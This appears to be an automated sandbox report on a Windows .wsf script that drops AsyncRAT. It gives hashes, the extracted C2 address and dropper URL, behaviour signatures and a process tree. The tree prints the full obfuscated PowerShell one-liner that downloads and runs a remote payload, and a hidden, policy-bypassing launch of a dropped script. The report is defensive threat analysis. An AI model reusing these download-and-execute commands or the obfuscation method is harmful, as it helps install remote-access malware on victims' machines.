Analysis

  • max time kernel
    143s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 12:29

General

  • Target

    f4accddf3bacbc70b54763800af4d7f47a427edd249ba1066ffcadb1458c03db (1).wsf

  • Size

    144KB

  • MD5

    d98237f1eb423d002ec4431002532420

  • SHA1

    3c03b0e124cf15312a0cf43e1a74a3827b027e29

  • SHA256

    f4accddf3bacbc70b54763800af4d7f47a427edd249ba1066ffcadb1458c03db

  • SHA512

    9f5b13ed4f562508635ead16e1976b05c79be6f94a6d95a8dac2ec538954c33e232682b3b2c1c637c1a928e8cc00c0589da834e41cd558df51c45eba01596a4f

  • SSDEEP

    3072:LvvvvvvvvvvvkAAAAAAAAAAABvvvvvvvvvvvkAAAAAAAAAAAyvvvvvvvvvvvkAAn:QAAAAAAAAAAASAAAAAAAAAAAdAAAAAA3

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.81.157.103/96/1.txt

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

Default

C2

185.81.157.183:9696

Mutex

AsyncMutex_6SI8OkCPM

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f4accddf3bacbc70b54763800af4d7f47a427edd249ba1066ffcadb1458c03db (1).wsf"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex('(&aUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEy(aUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyGaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyCaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyM *aUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyWaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEy-aUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyOaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEy*aUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEy)NaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyeaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEytaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEy.aUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyWaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyeaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEybaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyCaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEylaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyiaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyeaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEynaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEytaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEy).DaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyoaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEywaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEynaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEylaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyoaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyaaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEydaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEySaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEytaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyraUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyiaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEynaUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEyg(''http://185.81.157.103/96/1.txt'')').Replace('aUTSRQPONMLKJIHZYXWVGFEhUTSRQPONMLKJIHZYXWVGFEbUTSRQPONMLKJIHZYXWVGFEpUTSRQPONMLKJIHZYXWVGFEjUTSRQPONMLKJIHZYXWVGFEeUTSRQPONMLKJIHZYXWVGFEy','')|iex
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3004
  • C:\Windows\System32\WScript.exe
    C:\Windows\System32\WScript.exe "C:\Users\Public\hich.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4564
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\hich.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2528
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\hich.ps1'"
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4216
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          4⤵
            PID:2900
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1144

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            2f57fde6b33e89a63cf0dfdd6e60a351

            SHA1

            445bf1b07223a04f8a159581a3d37d630273010f

            SHA256

            3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

            SHA512

            42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            b66db53846de4860ca72a3e59b38c544

            SHA1

            2202dc88e9cddea92df4f4e8d83930efd98c9c5a

            SHA256

            b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

            SHA512

            72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sfaqiojb.kai.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Public\hich.bat

            Filesize

            195B

            MD5

            6c8a34a94e068b809145df09acbe153c

            SHA1

            0ec5c6964c6ccc949af47297eb9794f8f1ee4724

            SHA256

            c683e03275b7f8d2031a42bdde2b95e2f46e8811004205a092e87de4bae5d003

            SHA512

            41431bb242a1b5848b8c4ab197dc6181db6f203bb26de68f492b99e876b63b73c6497fb996b0341045b1babd1c92be3346de116fa3699017d58e1d1199bfd805

          • C:\Users\Public\hich.ps1

            Filesize

            1000KB

            MD5

            8469f5b76df0f510fe02b1eab0f57226

            SHA1

            7ad6c79dc42aafd7b813353c8bdcb1204c376621

            SHA256

            a7247306f746e668360268472d038a8848d49645970ca7501d50cc0f700db279

            SHA512

            526280cb8cc15bae99a02c6f6a0ca26564f7eb657f610cd1579d953b584705b9bca8d0a7b6902e0bd0234912acdbb1b74bf4adf8aa7c6e49b6876b8ae82fe0b4

          • C:\Users\Public\hich.vbs

            Filesize

            686B

            MD5

            741b5b0a474f0e0cd28fd880f68723c0

            SHA1

            4de5489c4e56882514b3ab432048200eae65f90d

            SHA256

            f7edde68b4f783fe07a6cb0d12ffc76b04a9d81747cff32eed06c7caee5f7b23

            SHA512

            3783759fc24189ddb02ab9bd9888f4fe458ed378c6079d3fbd28af6fc34200d5f45ccd7e1c4beca90d9afe9d3bb29f7f20128c7b0a958c2c8a1a1ce8e9cc2f54

          • memory/1144-49-0x0000000005AF0000-0x0000000005AFA000-memory.dmp

            Filesize

            40KB

          • memory/1144-48-0x0000000005B00000-0x0000000005B92000-memory.dmp

            Filesize

            584KB

          • memory/1144-47-0x0000000005ED0000-0x0000000006474000-memory.dmp

            Filesize

            5.6MB

          • memory/1144-46-0x00000000057E0000-0x00000000057F0000-memory.dmp

            Filesize

            64KB

          • memory/1144-45-0x0000000075250000-0x0000000075A00000-memory.dmp

            Filesize

            7.7MB

          • memory/1144-42-0x0000000000400000-0x0000000000416000-memory.dmp

            Filesize

            88KB

          • memory/3004-22-0x00007FF844390000-0x00007FF844E51000-memory.dmp

            Filesize

            10.8MB

          • memory/3004-19-0x000002C0C3430000-0x000002C0C3440000-memory.dmp

            Filesize

            64KB

          • memory/3004-15-0x000002C0C3430000-0x000002C0C3440000-memory.dmp

            Filesize

            64KB

          • memory/3004-14-0x000002C0C3430000-0x000002C0C3440000-memory.dmp

            Filesize

            64KB

          • memory/3004-13-0x00007FF844390000-0x00007FF844E51000-memory.dmp

            Filesize

            10.8MB

          • memory/3004-8-0x000002C0AAF90000-0x000002C0AAFB2000-memory.dmp

            Filesize

            136KB

          • memory/4216-27-0x000001AAA3660000-0x000001AAA3670000-memory.dmp

            Filesize

            64KB

          • memory/4216-28-0x000001AAA3660000-0x000001AAA3670000-memory.dmp

            Filesize

            64KB

          • memory/4216-40-0x000001AAA3C40000-0x000001AAA3C74000-memory.dmp

            Filesize

            208KB

          • memory/4216-41-0x000001AAA3660000-0x000001AAA3670000-memory.dmp

            Filesize

            64KB

          • memory/4216-26-0x00007FF844390000-0x00007FF844E51000-memory.dmp

            Filesize

            10.8MB

          • memory/4216-44-0x00007FF844390000-0x00007FF844E51000-memory.dmp

            Filesize

            10.8MB